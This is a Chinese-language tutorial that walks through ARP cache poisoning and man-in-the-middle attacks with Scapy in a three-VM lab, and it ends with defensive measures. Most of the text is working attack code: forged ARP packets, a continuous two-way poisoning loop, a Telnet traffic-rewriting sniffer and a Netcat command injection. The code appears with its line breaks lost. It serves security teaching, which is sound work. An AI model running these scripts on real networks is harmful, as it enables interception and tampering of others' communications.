Scapy实战：从ARP缓存投毒到中间人攻击的攻防演练-平芜编程栈

1. ARP协议与缓存投毒原理剖析

ARP（Address Resolution Protocol）是局域网通信的基础协议，它的作用就像现实生活中的电话簿，负责将IP地址转换成对应的MAC地址。每台设备都维护着一个ARP缓存表，记录着最近通信过的设备信息。这个机制本是为了提高通信效率，但却成为了攻击者的突破口。

ARP协议的工作流程很简单：当主机A需要与主机B通信时，会先查询本地ARP缓存。如果找不到对应条目，就会广播一个ARP请求："谁的IP是192.168.1.2？请告诉192.168.1.1"。目标主机收到后会单播回复："我是192.168.1.2，我的MAC是xx:xx:xx:xx:xx"。这个过程没有任何身份验证机制，就像在大街上随便问个人"你是张三吗"，只要对方说"是"，你就会相信。

ARP缓存投毒就是利用这个缺陷。攻击者可以伪造ARP响应包，告诉受害者："我是网关，我的MAC是攻击者的MAC"。这样受害者就会把本该发给网关的数据都发给攻击者。我在实验室环境中做过测试，一个简单的ARP欺骗包就能让目标主机在毫秒级更新缓存。

用Scapy构造ARP包特别简单，核心字段就这几个：

op：1表示请求，2表示响应
psrc/pdst：源/目标IP
hwsrc/hwdst：源/目标MAC

比如构造一个欺骗包：

from scapy.all import * pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=2, psrc="192.168.1.1", # 假装是网关 pdst="192.168.1.100", # 目标主机 hwsrc="00:11:22:33:44:55" # 攻击者MAC ) sendp(pkt)

2. 实战ARP缓存投毒的三重奏

2.1 普通ARP请求攻击

这是最基础的攻击方式。攻击者发送ARP请求包，在包中声明"我是网关"。虽然ARP请求本应是询问而非声明，但很多系统会不假思索地更新缓存。实测发现Windows 10和部分Linux发行版会中招。

攻击代码：

pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=1, # 请求包 psrc="192.168.1.1", pdst="192.168.1.100", hwsrc="00:11:22:33:44:55" )

但这种攻击有个致命弱点：如果目标缓存中已有正确条目，攻击成功率会大幅下降。我在测试中发现成功率不足30%，因为系统会优先相信已有的缓存。

2.2 ARP响应包攻击

相比请求包，响应包更具欺骗性。攻击者主动告诉目标："网关的MAC更新了"。代码只需将op改为2：

pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=2, # 响应包 psrc="192.168.1.1", pdst="192.168.1.100", hwsrc="00:11:22:33:44:55" )

但这里有个有趣现象：如果目标根本没有查询过这个IP，攻击反而会失败。因为系统会觉得"我又没问你，你干嘛告诉我"。这就像突然有人打电话跟你说"我是快递员"，但你根本没网购，自然会产生怀疑。

2.3 免费ARP攻击

这是最阴险的一招。免费ARP本是用于IP冲突检测的，攻击者广播声明："我是我自己"，但把MAC改成攻击者的：

pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=1, psrc="192.168.1.1", pdst="192.168.1.1", # 源目IP相同 hwsrc="00:11:22:33:44:55" )

这种攻击对已有缓存的目标特别有效，因为系统会认为这是正常的地址更新。我的测试显示成功率高达95%以上。但要注意，如果目标没有该IP的缓存，攻击同样会失效。

3. 搭建中间人攻击实战环境

3.1 实验环境配置

建议使用三台虚拟机：

攻击机(Kali Linux)：运行Scapy脚本
受害机A(Windows 10)：安装Wireshark观察流量
受害机B(Ubuntu)：运行telnet/netcat服务

网络配置要点：

所有机器在同一局域网段（如192.168.1.0/24）
关闭防火墙和SELinux
在攻击机上启用IP转发：

echo 1 > /proc/sys/net/ipv4/ip_forward

3.2 双向ARP欺骗

要让中间人攻击持久生效，需要同时欺骗通信双方：

from time import sleep def arp_poison(): while True: # 告诉A，攻击者是B sendp(Ether()/ARP(op=2, psrc="192.168.1.2", pdst="192.168.1.100", hwsrc="00:11:22:33:44:55")) # 告诉B，攻击者是A sendp(Ether()/ARP(op=2, psrc="192.168.1.100", pdst="192.168.1.2", hwsrc="00:11:22:33:44:55")) sleep(5) # 每5秒刷新一次

这个脚本需要持续运行，因为ARP缓存会定期更新（通常2-5分钟）。我在测试中发现，间隔时间太短会导致网络拥塞，太长又会让攻击失效，5秒是个不错的平衡点。

4. 实时流量劫持与篡改

4.1 Telnet会话劫持

Telnet是明文协议，特别适合演示中间人攻击。攻击流程：

建立双向ARP欺骗
启用IP转发让通信建立
嗅探并修改流量

关键代码：

def spoof_pkt(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): # 修改A->B的流量 if pkt[IP].src == "192.168.1.100" and pkt[IP].dst == "192.168.1.2": data = pkt[TCP].payload.load newdata = data.replace(b"ls", b"xx") # 把ls命令替换成xx newpkt = pkt[IP]/pkt[TCP]/Raw(load=newdata) del newpkt[IP].chksum del newpkt[TCP].chksum send(newpkt, verbose=0) # 原样转发B->A的流量 elif pkt[IP].src == "192.168.1.2" and pkt[IP].dst == "192.168.1.100": send(pkt, verbose=0) sniff(filter="tcp port 23", prn=spoof_pkt)

4.2 Netcat会话注入

Netcat常用于文件传输，攻击者可以注入额外命令：

if b"password" in data: newdata = data + b"\n echo 'Hacked!' > /tmp/pwned\n"

我在测试中发现一个坑：TCP序列号必须严格匹配。如果修改后的包长度变化太大，会导致连接中断。解决方法是在payload中保持长度一致，比如用空格填充。

5. 防御措施与检测方法

5.1 静态ARP绑定

最有效的防御是在关键设备上设置静态ARP条目：

arp -s 192.168.1.1 00:11:22:33:44:66

但维护成本很高，适合网关等固定设备。

5.2 ARP监控工具

推荐两个实用工具：

arpwatch：记录ARP变化并报警
XArp：图形化显示ARP异常

5.3 网络隔离

划分VLAN可以限制ARP广播范围。比如把财务部和普通员工隔离开，这样即使有ARP欺骗，影响范围也有限。

5.4 加密通信

使用SSH代替Telnet，HTTPS代替HTTP。即使流量被劫持，攻击者也无法解密内容。我在内网渗透测试时发现，加密通道能让90%的中间人攻击失效。

Scapy实战：从ARP缓存投毒到中间人攻击的攻防演练